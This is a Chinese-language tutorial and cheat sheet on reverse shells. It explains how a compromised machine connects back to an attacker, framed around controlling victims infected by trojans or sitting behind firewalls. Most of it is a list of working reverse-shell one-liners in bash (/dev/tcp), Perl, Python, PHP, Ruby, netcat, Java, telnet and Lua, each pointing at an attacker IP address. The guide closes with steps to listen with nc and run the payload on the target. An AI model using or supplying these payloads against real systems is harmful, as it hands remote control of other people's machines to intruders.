簡介
reverse shell反彈shell或者說反向shell，就是控制端監聽在某TCP/UDP端口，被控端發起請求到該端口，並將其命令行的輸入輸出轉到控制端。reverse shell與telnet，ssh等標准shell對應，本質上是網絡概念的客戶端與服務端的角色反轉。
通常用於被控端因防火牆受限、權限不足、端口被占用等情形。
什么是反彈，為什么要反彈
假設我們攻擊了一台機器，打開了該機器的一個端口，攻擊者在自己的機器去連接目標機器（目標ip：目標機器端口），這是比較常規的形式，我們叫做正向連接。遠程桌面，web服務，ssh，telnet等等，都是正向連接。
什么時候需要
l 某客戶機中了你的網馬，但是它在局域網內，你直接連接不了。它的ip會動態改變，你不能持續控制。
l 由於防火牆等限制，對方機器只能發送請求，不能接收請求。
l 對於病毒，木馬，受害者什么時候能中招，對方的網絡環境是什么樣的，什么時候開關機，都是未知，所以建立一個服務端，讓惡意程序主動連接，才是上策。
有哪些姿勢
bash：
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl 1：
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl 2 不依賴/bin/sh：
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Perl 3 Windows：
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Ruby Windows:
ruby -rsocket -e 'c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Ruby 不依賴 /bin/sh:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NC:
nc -e /bin/sh 10.0.0.1 1234
有些版本的NC可能不支持-e選項
不能使用-e時
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java：
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Telnet:
NC不可用或者/dev/tcp不可用時
mknod backpipe p && telnet 123.123.123.123 8080 0<backpipe | /bin/bash 1>backpipe
Lua:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
如何連接：
先在本地機器上執行：
nc –l –p 端口
然后在遠程機器上執行上述反彈shell的代碼即可，對方系統上安裝什么了就用什么，沒安裝咱就上傳一個。
補充一下：
關於 linux中的一個特殊文件： /dev/tcp
有一個特殊的文件/dev/tcp,打開這個文件就類似於發出了一個socket調用，建立一個socket連接，讀寫這個文件就相當於在這個socket連接中傳輸數據。